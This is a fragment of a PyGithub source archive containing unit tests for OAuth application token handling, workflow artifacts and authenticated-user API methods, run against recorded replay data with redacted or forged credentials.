5ustar00runnerdocker././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ApplicationOAuth.py0000644000175100001660000003174514756101563017720 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 sfdye # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 chantra # # Copyright 2024 Enrico Minack # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone from unittest import mock import github from github.ApplicationOAuth import ApplicationOAuth as aoa from . import Framework class ApplicationOAuth(Framework.TestCase): def setUp(self): super().setUp() self.CLIENT_ID = "client_id_removed" self.CLIENT_SECRET = "client_secret_removed" self.app = self.g.get_oauth_application(self.CLIENT_ID, self.CLIENT_SECRET) self.ent_gh = github.Github(base_url="http://my.enterprise.com/path/to/github") self.ent_app = self.ent_gh.get_oauth_application(self.CLIENT_ID, self.CLIENT_SECRET) def testLoginURL(self): BASE_URL = "https://github.com/login/oauth/authorize" sample_uri = "https://myapp.com/some/path" sample_uri_encoded = "https%3A%2F%2Fmyapp.com%2Fsome%2Fpath" self.assertEqual(self.app.get_login_url(), f"{BASE_URL}?client_id={self.CLIENT_ID}") self.assertTrue(f"redirect_uri={sample_uri_encoded}" in self.app.get_login_url(redirect_uri=sample_uri)) self.assertTrue(f"client_id={self.CLIENT_ID}" in self.app.get_login_url(redirect_uri=sample_uri)) self.assertTrue("state=123abc" in self.app.get_login_url(state="123abc", login="user")) self.assertTrue("login=user" in self.app.get_login_url(state="123abc", login="user")) self.assertTrue(f"client_id={self.CLIENT_ID}" in self.app.get_login_url(state="123abc", login="user")) def testGetAccessToken(self): access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") # Test string representation self.assertEqual( str(access_token), 'AccessToken(type="bearer", token="acces...", scope="", ' "refresh_token_expires_in=None, refresh_token=None, expires_in=None)", ) self.assertEqual(access_token.token, "access_token_removed") self.assertEqual(access_token.type, "bearer") self.assertEqual(access_token.scope, "") self.assertIsNone(access_token.expires_in) self.assertIsNone(access_token.expires_at) self.assertIsNone(access_token.refresh_token) self.assertIsNone(access_token.refresh_expires_in) self.assertIsNone(access_token.refresh_expires_at) def testEnterpriseSupport(self): requester = self.ent_gh._Github__requester self.assertEqual(requester.scheme, "http") self.assertEqual(requester.hostname, "my.enterprise.com") self.assertEqual(requester.hostname_and_port, "my.enterprise.com") self.assertEqual(self.ent_app.get_oauth_url("auth"), "http://my.enterprise.com/login/oauth/auth") gh_w_port = github.Github( base_url="http://my.enterprise.com:443/path/to/github" )._Github__requester.hostname_and_port self.assertEqual(gh_w_port, "my.enterprise.com:443") def testEnterpriseLoginURL(self): BASE_URL = "http://my.enterprise.com/login/oauth/authorize" sample_uri = "https://myapp.com/some/path" sample_uri_encoded = "https%3A%2F%2Fmyapp.com%2Fsome%2Fpath" self.assertEqual(self.ent_app.get_login_url(), f"{BASE_URL}?client_id={self.CLIENT_ID}") self.assertTrue(f"redirect_uri={sample_uri_encoded}" in self.ent_app.get_login_url(redirect_uri=sample_uri)) self.assertTrue(f"client_id={self.CLIENT_ID}" in self.ent_app.get_login_url(redirect_uri=sample_uri)) self.assertTrue("state=123abc" in self.ent_app.get_login_url(state="123abc", login="user")) self.assertTrue("login=user" in self.ent_app.get_login_url(state="123abc", login="user")) self.assertTrue(f"client_id={self.CLIENT_ID}" in self.ent_app.get_login_url(state="123abc", login="user")) def testEnterpriseGetAccessToken(self): access_token = self.ent_app.get_access_token("oauth_code_removed", state="state_removed") # Test string representation self.assertEqual( str(access_token), 'AccessToken(type="bearer", token="acces...", scope="", ' "refresh_token_expires_in=None, refresh_token=None, expires_in=None)", ) self.assertEqual(access_token.token, "access_token_removed") self.assertEqual(access_token.type, "bearer") self.assertEqual(access_token.scope, "") self.assertIsNone(access_token.expires_in) self.assertIsNone(access_token.expires_at) self.assertIsNone(access_token.refresh_token) self.assertIsNone(access_token.refresh_expires_in) self.assertIsNone(access_token.refresh_expires_at) def testGetAccessTokenWithExpiry(self): with mock.patch("github.AccessToken.datetime") as dt: dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") # Test string representation self.assertEqual( str(access_token), 'AccessToken(type="bearer", token="acces...", scope="", ' 'refresh_token_expires_in=15811200, refresh_token="refre...", expires_in=28800)', ) self.assertEqual(access_token.token, "access_token_removed") self.assertEqual(access_token.type, "bearer") self.assertEqual(access_token.scope, "") self.assertEqual(access_token.expires_in, 28800) self.assertEqual( access_token.expires_at, datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), ) self.assertEqual(access_token.refresh_token, "refresh_token_removed") self.assertEqual(access_token.refresh_expires_in, 15811200) self.assertEqual( access_token.refresh_expires_at, datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) def testRefreshAccessToken(self): access_token = self.app.get_access_token("oauth_code_removed", state="state_removed") with mock.patch("github.AccessToken.datetime") as dt: dt.now = mock.Mock(return_value=datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc)) refreshed = self.app.refresh_access_token(access_token.refresh_token) self.assertNotEqual(refreshed.token, access_token.token) self.assertNotEqual(refreshed.refresh_token, access_token.refresh_token) self.assertNotEqual(refreshed.created, access_token.created) # Test string representation self.assertEqual( str(refreshed), 'AccessToken(type="bearer", token="anoth...", scope="", ' 'refresh_token_expires_in=15811200, refresh_token="anoth...", expires_in=28800)', ) self.assertEqual(refreshed.token, "another_access_token_removed") self.assertEqual(refreshed.type, "bearer") self.assertEqual(refreshed.scope, "") self.assertEqual( refreshed.created, datetime(2023, 6, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) self.assertEqual(refreshed.expires_in, 28800) self.assertEqual( refreshed.expires_at, datetime(2023, 6, 7, 20, 0, 0, 123, tzinfo=timezone.utc), ) self.assertEqual(refreshed.refresh_token, "another_refresh_token_removed") self.assertEqual(refreshed.refresh_expires_in, 15811200) self.assertEqual( refreshed.refresh_expires_at, datetime(2023, 12, 7, 12, 0, 0, 123, tzinfo=timezone.utc), ) def testGetAccessTokenBadCode(self): with self.assertRaises(github.BadCredentialsException) as exc: self.app.get_access_token("oauth_code_removed", state="state_removed") self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "bad_verification_code") def testGetAccessTokenUnknownError(self): with self.assertRaises(github.GithubException) as exc: self.app.get_access_token("oauth_code_removed", state="state_removed") self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "some_unknown_error") def testRefreshAccessTokenBadCode(self): with self.assertRaises(github.BadCredentialsException) as exc: self.app.refresh_access_token("oauth_code_removed") self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "bad_verification_code") def testRefreshAccessTokenUnknownError(self): with self.assertRaises(github.GithubException) as exc: self.app.refresh_access_token("oauth_code_removed") self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "some_unknown_error") def testCheckError(self): expected_header = {"header": True} expected_data = {"data": True} header, data = aoa._checkError(expected_header, None) self.assertEqual(header, expected_header) self.assertIsNone(data) header, data = aoa._checkError(expected_header, expected_data) self.assertEqual(header, expected_header) self.assertEqual(data, expected_data) with self.assertRaises(github.BadCredentialsException) as exc: aoa._checkError({}, {"error": "bad_verification_code"}) self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "bad_verification_code") with self.assertRaises(github.GithubException) as exc: aoa._checkError({}, {"error": "other"}) self.assertIsNone(exc.exception.message) self.assertEqual(exc.exception.status, 200) self.assertIn("error", exc.exception.data) self.assertEqual(exc.exception.data["error"], "other") ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/Artifact.py0000644000175100001660000001001214756101563016231 0ustar00runnerdocker#!/usr/bin/env python ############################ Copyrights and license ############################ # # # Copyright 2022 Aleksei Fedotov # # Copyright 2023 Enrico Minack # # Copyright 2023 Trim21 # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ import github from . import Framework class Artifact(Framework.TestCase): def setUp(self): super().setUp() self.repo = self.g.get_repo("transmission-web-control/transmission-web-control") def testGetArtifactsFromWorkflow(self): artifact = self.repo.get_workflow_run(5138169628).get_artifacts()[0] self.assertEqual(artifact.name, "build-tar") self.assertFalse(artifact.expired) self.assertEqual(repr(artifact), 'Artifact(name="build-tar", id=724958104)') def testGetArtifactsFromRepoWithName(self): artifacts = self.repo.get_artifacts(name="build-tar") self.assertEqual(artifacts.totalCount, 296) assert all(x.name == "build-tar" for x in artifacts) artifact = artifacts[0] self.assertEqual(artifact.name, "build-tar") self.assertEqual(repr(artifact), 'Artifact(name="build-tar", id=724959170)') def testGetSingleArtifactFromRepo(self): artifact = self.repo.get_artifact(719509139) self.assertEqual(artifact.name, "build-zip") self.assertFalse(artifact.expired) self.assertEqual(repr(artifact), 'Artifact(name="build-zip", id=719509139)') def testGetArtifactsFromRepo(self): artifact_id = 719509139 artifacts = self.repo.get_artifacts() for item in artifacts: if item.id == artifact_id: artifact = item break else: assert False, f"No artifact {artifact_id} is found" self.assertEqual( repr(artifact), f'Artifact(name="build-zip", id={artifact_id})', ) def testGetNonexistentArtifact(self): artifact_id = 396724437 repo_name = "lexa/PyGithub" repo = self.g.get_repo(repo_name) with self.assertRaises(github.GithubException): repo.get_artifact(artifact_id) def testDelete(self): artifact_id = 396724439 repo_name = "lexa/PyGithub" repo = self.g.get_repo(repo_name) artifact = repo.get_artifact(artifact_id) self.assertTrue(artifact.delete()) with self.assertRaises(github.GithubException): repo.get_artifact(artifact_id) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/AuthenticatedUser.py0000644000175100001660000007342314756101563020134 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2017 Balázs Rostás # # Copyright 2017 Jannis Gebauer # # Copyright 2018 Alice GIRARD # # Copyright 2018 Bruce Richardson # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Riccardo Pittau # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Rigas Papathanasopoulos # # Copyright 2019 Steve Kowalik # # Copyright 2019 Surya Teja <94suryateja@gmail.com> # # Copyright 2019 TechnicalPirate <35609336+TechnicalPirate@users.noreply.github.com># # Copyright 2019 Wan Liuyang # # Copyright 2020 Anuj Bansal # # Copyright 2020 Glenn McDonald # # Copyright 2020 Steve Kowalik # # Copyright 2021 MeggyCal # # Copyright 2021 秋葉 # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Chris Wells # # Copyright 2024 Eduardo Ramírez # # Copyright 2024 Enrico Minack # # Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from datetime import datetime, timezone import github from . import Framework class AuthenticatedUser(Framework.TestCase): def setUp(self): super().setUp() self.user = self.g.get_user() def testAttributes(self): self.assertEqual( self.user.avatar_url, "https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png", ) self.assertEqual(self.user.bio, "") self.assertEqual(self.user.blog, "http://vincent-jacques.net") self.assertEqual(self.user.collaborators, 0) self.assertEqual(self.user.company, "Criteo") self.assertEqual( self.user.created_at, datetime(2010, 7, 9, 6, 10, 6, tzinfo=timezone.utc), ) self.assertEqual(self.user.disk_usage, 16692) self.assertEqual(self.user.email, "vincent@vincent-jacques.net") self.assertEqual(self.user.followers, 13) self.assertEqual(self.user.following, 24) self.assertEqual(self.user.gravatar_id, "b68de5ae38616c296fa345d2b9df2225") self.assertFalse(self.user.hireable) self.assertEqual(self.user.html_url, "https://github.com/jacquev6") self.assertEqual(self.user.id, 327146) self.assertEqual(self.user.location, "Paris, France") self.assertEqual(self.user.login, "jacquev6") self.assertEqual(self.user.name, "Vincent Jacques") self.assertEqual(self.user.owned_private_repos, 5) self.assertEqual(self.user.plan.name, "micro") self.assertEqual(self.user.plan.collaborators, 1) self.assertEqual(self.user.plan.space, 614400) self.assertEqual(self.user.plan.private_repos, 5) self.assertEqual(self.user.private_gists, 5) self.assertEqual(self.user.public_gists, 1) self.assertEqual(self.user.public_repos, 10) self.assertEqual(self.user.total_private_repos, 5) self.assertEqual(self.user.type, "User") self.assertEqual(self.user.url, "https://api.github.com/users/jacquev6") self.assertEqual(self.user.node_id, "MDQ6VXNlcjMyNzE0Ng==") self.assertEqual(repr(self.user), 'AuthenticatedUser(login="jacquev6")') self.assertTrue(self.user.two_factor_authentication) def testEditWithoutArguments(self): self.user.edit() def testEditWithAllArguments(self): self.user.edit( "Name edited by PyGithub", "Email edited by PyGithub", "Blog edited by PyGithub", "Company edited by PyGithub", "Location edited by PyGithub", True, "Bio edited by PyGithub", ) self.assertEqual(self.user.name, "Name edited by PyGithub") self.assertEqual(self.user.email, "Email edited by PyGithub") self.assertEqual(self.user.blog, "Blog edited by PyGithub") self.assertEqual(self.user.company, "Company edited by PyGithub") self.assertEqual(self.user.location, "Location edited by PyGithub") self.assertTrue(self.user.hireable) self.assertEqual(self.user.bio, "Bio edited by PyGithub") def testEmails(self): emails = self.user.get_emails() self.assertEqual( [item.email for item in emails], ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], ) self.assertTrue(emails[0].primary) self.assertTrue(emails[0].verified) self.assertEqual(emails[0].visibility, "private") self.user.add_to_emails("1@foobar.com", "2@foobar.com") self.assertEqual( [item.email for item in self.user.get_emails()], [ "vincent@vincent-jacques.net", "1@foobar.com", "2@foobar.com", "github.com@vincent-jacques.net", ], ) self.user.remove_from_emails("1@foobar.com", "2@foobar.com") self.assertEqual( [item.email for item in self.user.get_emails()], ["vincent@vincent-jacques.net", "github.com@vincent-jacques.net"], ) def testFollowing(self): nvie = self.g.get_user("nvie") self.assertListKeyEqual( self.user.get_following(), lambda u: u.login, [ "schacon", "jamis", "chad", "unclebob", "dabrahams", "jnorthrup", "brugidou", "regisb", "walidk", "tanzilli", "fjardon", "r3c", "sdanzan", "vineus", "cjuniet", "gturri", "ant9000", "asquini", "claudyus", "jardon-u", "s-bernard", "kamaradclimber", "Lyloa", "nvie", ], ) self.assertTrue(self.user.has_in_following(nvie)) self.user.remove_from_following(nvie) self.assertFalse(self.user.has_in_following(nvie)) self.user.add_to_following(nvie) self.assertTrue(self.user.has_in_following(nvie)) self.assertListKeyEqual( self.user.get_followers(), lambda u: u.login, [ "jnorthrup", "brugidou", "regisb", "walidk", "afzalkhan", "sdanzan", "vineus", "gturri", "fjardon", "cjuniet", "jardon-u", "kamaradclimber", "L42y", ], ) def testWatching(self): gitflow = self.g.get_user("nvie").get_repo("gitflow") self.assertListKeyEqual( self.user.get_watched(), lambda r: r.name, [ "git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub", ], ) self.assertTrue(self.user.has_in_watched(gitflow)) self.user.remove_from_watched(gitflow) self.assertFalse(self.user.has_in_watched(gitflow)) self.user.add_to_watched(gitflow) self.assertTrue(self.user.has_in_watched(gitflow)) def testStarring(self): gitflow = self.g.get_user("nvie").get_repo("gitflow") self.assertListKeyEqual( self.user.get_starred(), lambda r: r.name, [ "git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly", ], ) self.assertTrue(self.user.has_in_starred(gitflow)) self.user.remove_from_starred(gitflow) self.assertFalse(self.user.has_in_starred(gitflow)) self.user.add_to_starred(gitflow) self.assertTrue(self.user.has_in_starred(gitflow)) def testSubscriptions(self): gitflow = self.g.get_user("nvie").get_repo("gitflow") self.assertListKeyEqual( self.user.get_subscriptions(), lambda r: r.name, [ "gitflow", "ViDE", "Boost.HierarchicalEnum", "QuadProgMm", "DrawSyntax", "DrawTurksHead", "PrivateStuff", "vincent-jacques.net", "Hacking", "C4Planner", "developer.github.com", "PyGithub", "PyGithub", "django", "CinePlanning", "PyGithub", "PyGithub", "PyGithub", "IpMap", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", ], ) self.assertTrue(self.user.has_in_subscriptions(gitflow)) self.user.remove_from_subscriptions(gitflow) self.assertFalse(self.user.has_in_subscriptions(gitflow)) self.user.add_to_subscriptions(gitflow) self.assertTrue(self.user.has_in_subscriptions(gitflow)) def testGetAuthorizations(self): self.assertListKeyEqual(self.user.get_authorizations(), lambda a: a.id, [372294]) def testCreateRepository(self): repo = self.user.create_repo(name="TestPyGithub") self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub") def testCreateProject(self): project = self.user.create_project(name="TestPyGithub", body="This is the body") self.assertEqual(project.url, "https://api.github.com/projects/4084610") def testCreateRepositoryWithAllArguments(self): repo = self.user.create_repo( name="TestPyGithub", description="Repo created by PyGithub", homepage="http://foobar.com", private=False, has_issues=False, has_projects=False, has_wiki=False, has_discussions=False, has_downloads=False, allow_squash_merge=False, allow_merge_commit=False, allow_rebase_merge=True, delete_branch_on_merge=False, ) self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub") def testCreateRepositoryWithAutoInit(self): repo = self.user.create_repo(name="TestPyGithub", auto_init=True, gitignore_template="Python") self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub") def testCreateAuthorizationWithoutArguments(self): authorization = self.user.create_authorization() self.assertEqual(authorization.id, 372259) def testCreateAuthorizationWithAllArguments(self): authorization = self.user.create_authorization( ["repo"], "Note created by PyGithub", "http://vincent-jacques.net/PyGithub" ) self.assertEqual(authorization.id, 372294) def testCreateAuthorizationWithClientIdAndSecret(self): # I don't have a client_id and client_secret so the ReplayData for this test is forged authorization = self.user.create_authorization( client_id="01234567890123456789", client_secret="0123456789012345678901234567890123456789", ) self.assertEqual(authorization.id, 372294) def testCreateGist(self): gist = self.user.create_gist( True, {"foobar.txt": github.InputFileContent("File created by PyGithub")}, "Gist created by PyGithub", ) self.assertEqual(gist.description, "Gist created by PyGithub") self.assertEqual(list(gist.files.keys()), ["foobar.txt"]) self.assertEqual(gist.files["foobar.txt"].content, "File created by PyGithub") def testCreateGistWithoutDescription(self): gist = self.user.create_gist(True, {"foobar.txt": github.InputFileContent("File created by PyGithub")}) self.assertEqual(gist.description, None) self.assertEqual(list(gist.files.keys()), ["foobar.txt"]) self.assertEqual(gist.files["foobar.txt"].content, "File created by PyGithub") def testCreateKey(self): key = self.user.create_key( "Key added through PyGithub", "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw== vincent@IDEE", ) self.assertEqual(key.id, 2626650) def testGetEvents(self): self.assertListKeyBegin( self.user.get_events(), lambda e: e.type, ["PushEvent", "IssuesEvent", "IssueCommentEvent", "PushEvent"], ) def testGetOrganizationEvents(self): self.assertListKeyBegin( self.user.get_organization_events(self.g.get_organization("BeaverSoftware")), lambda e: e.type, ["CreateEvent", "CreateEvent", "PushEvent", "PushEvent"], ) def testGetGists(self): self.assertListKeyEqual( self.user.get_gists(), lambda g: g.id, [ "2793505", "2793179", "11cb445f8197e17d303d", "1942384", "dcb7de17e8a52b74541d", ], ) self.assertListKeyEqual( self.user.get_gists(since=datetime(2012, 3, 1, 23, 0, 0)), lambda g: g.id, ["2793505", "2793179", "11cb445f8197e17d303d"], ) def testGetStarredGists(self): self.assertListKeyEqual( self.user.get_starred_gists(), lambda g: g.id, ["1942384", "dcb7de17e8a52b74541d"], ) def testGetIssues(self): self.assertListKeyEqual( self.user.get_issues(), lambda i: (i.id, i.repository.name), [ (4639931, "PyGithub"), (4452000, "PyGithub"), (4356743, "PyGithub"), (3716033, "PyGithub"), (3715946, "PyGithub"), (3643837, "PyGithub"), (3628022, "PyGithub"), (3624595, "PyGithub"), (3624570, "PyGithub"), (3624561, "PyGithub"), (3624556, "PyGithub"), (3619973, "PyGithub"), (3527266, "PyGithub"), (3527245, "PyGithub"), (3527231, "PyGithub"), ], ) def testGetIssuesWithAllArguments(self): requestedByUser = self.user.get_repo("PyGithub").get_label("Requested by user") issues = self.user.get_issues( "assigned", "closed", [requestedByUser], "comments", "asc", datetime(2012, 5, 28, 23, 0, 0), ) self.assertListKeyEqual( issues, lambda i: i.id, [ 6816576, 8495415, 6889934, 8339699, 8075253, 8033963, 9089893, 9489725, 11746141, 5152384, 5177381, 5783131, 6454054, 6641076, 6653907, 7331214, 9489813, 9776615, 10360280, 4356743, 6583381, 6751469, 8189836, 10758585, 12097154, 12867103, 5191621, 5256315, 6363719, 9209408, 6912733, 9948505, 11503771, 10922412, 11844658, 12566144, 6353712, 9323084, 10379143, 5387373, 12179668, 6911794, 11731917, 6807542, 6780606, ], ) def testGetUserIssues(self): self.assertListKeyEqual( self.user.get_user_issues(), lambda i: i.id, [ 14447880, 13505356, 12541184, 10586808, 6741461, 6741457, 6727331, 5641572, ], ) def testGetUserIssuesWithAllArguments(self): requestedByUser = self.user.get_repo("PyGithub").get_label("Requested by user") issues = self.user.get_user_issues( "assigned", "closed", [requestedByUser], "comments", "asc", datetime(2012, 5, 28, 23, 0, 0), ) self.assertListKeyEqual( issues, lambda i: i.id, [ 6816576, 8495415, 6889934, 8339699, 8075253, 8033963, 9089893, 9489725, 11746141, 5152384, 5177381, 5783131, 6454054, 6641076, 6653907, 7331214, 9489813, 9776615, 10360280, 4356743, 6583381, 6751469, 8189836, 10758585, 12097154, 12867103, 5191621, 5256315, 6363719, 9209408, 6912733, 9948505, 11503771, 10922412, 11844658, 12566144, 6353712, 9323084, 10379143, 5387373, 12179668, 6911794, 11731917, 6807542, 6780606, ], ) def testGetKeys(self): self.assertListKeyEqual( self.user.get_keys(), lambda k: k.title, ["vincent@home", "vincent@gandi", "vincent@aws", "vincent@macbook"], ) def testGetOrgs(self): self.assertListKeyEqual(self.user.get_orgs(), lambda o: o.login, ["BeaverSoftware"]) def testGetRepos(self): self.assertListKeyEqual( self.user.get_repos(), lambda r: r.name, [ "TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE", ], ) def testGetReposWithArguments(self): self.assertListKeyEqual( self.user.get_repos("all", "owner", "public", "full_name", "desc"), lambda r: r.name, [ "ViDE", "QuadProgMm", "PyGithub", "DrawTurksHead", "DrawSyntax", "django", "developer.github.com", "C4Planner", "Boost.HierarchicalEnum", "acme-public-website", ], ) def testCreateFork(self): repo = self.user.create_fork(self.g.get_user("nvie").get_repo("gitflow")) self.assertEqual(repo.source.full_name, "nvie/gitflow") def testCreateRepoFromTemplate(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") repo = self.user.create_repo_from_template("hello-world-docker-action-new", template_repo) self.assertEqual( repo.url, "https://api.github.com/repos/jacquev6/hello-world-docker-action-new", ) self.assertFalse(repo.is_template) def testCreateRepoFromTemplateWithAllArguments(self): template_repo = self.g.get_repo("actions/hello-world-docker-action") description = "My repo from template" private = True repo = self.user.create_repo_from_template( "hello-world-docker-action-new", template_repo, description=description, include_all_branches=True, private=private, ) self.assertEqual(repo.description, description) self.assertTrue(repo.private) def testGetNotification(self): notification = self.user.get_notification("8406712") self.assertEqual(notification.id, "8406712") self.assertEqual(notification.unread, False) self.assertEqual(notification.reason, "author") self.assertEqual(notification.subject.title, "Feature/coveralls") self.assertEqual(notification.subject.type, "PullRequest") self.assertEqual(notification.repository.id, 8432784) self.assertEqual( notification.updated_at, datetime(2013, 3, 15, 5, 43, 11, tzinfo=timezone.utc), ) self.assertEqual(notification.url, None) self.assertEqual(notification.subject.url, None) self.assertEqual(notification.subject.latest_comment_url, None) self.assertEqual( repr(notification), 'Notification(subject=NotificationSubject(title="Feature/coveralls"), id="8406712")', ) self.assertEqual(repr(notification.subject), 'NotificationSubject(title="Feature/coveralls")') def testGetNotifications(self): self.assertListKeyEqual(self.user.get_notifications(participating=True), lambda n: n.id, ["8406712"]) def testGetNotificationsWithOtherArguments(self): self.assertListKeyEqual(self.user.get_notifications(all=True), lambda n: n.id, []) def testMarkNotificationsAsRead(self): self.user.mark_notifications_as_read(datetime(2018, 10, 18, 18, 20, 0o1, 0)) def testGetTeams(self): self.assertListKeyEqual( self.user.get_teams(), lambda t: t.name, [ "Owners", "Honoraries", "Honoraries", "Honoraries", "Honoraries", "Honoraries", "Honoraries", "Honoraries", "Honoraries", "Honoraries", ], ) def testAcceptInvitation(self): self.assertEqual(self.user.accept_invitation(4294886), None) def testGetInvitations(self): invitation = self.user.get_invitations()[0] self.assertEqual(repr(invitation), "Invitation(id=17285388)") self.assertEqual(invitation.id, 17285388) self.assertEqual(invitation.permissions, "write") created_at = datetime(2019, 6, 27, 11, 47, tzinfo=timezone.utc) self.assertEqual(invitation.created_at, created_at) self.assertEqual(invitation.expired, True) self.assertEqual( invitation.url, "https://api.github.com/user/repository_invitations/17285388", ) self.assertEqual(invitation.html_url, "https://github.com/jacquev6/PyGithub/invitations") self.assertEqual(invitation.node_id, "MDIwOlJlcG9zaXRvcnlJbnZpdGF0aW9uMTcyODUzODg=") self.assertEqual(invitation.repository.name, "PyGithub") self.assertEqual(invitation.invitee.login, "foobar-test1") self.assertEqual(invitation.inviter.login, "jacquev6") def testCreateMigration(self): self.assertTrue(isinstance(self.user.create_migration(["sample-repo"]), github.Migration.Migration)) def testGetMigrations(self): self.assertEqual(self.user.get_migrations().totalCount, 46) def testInstallations(self): installations = self.user.get_installations() self.assertEqual(installations[0].id, 123456) 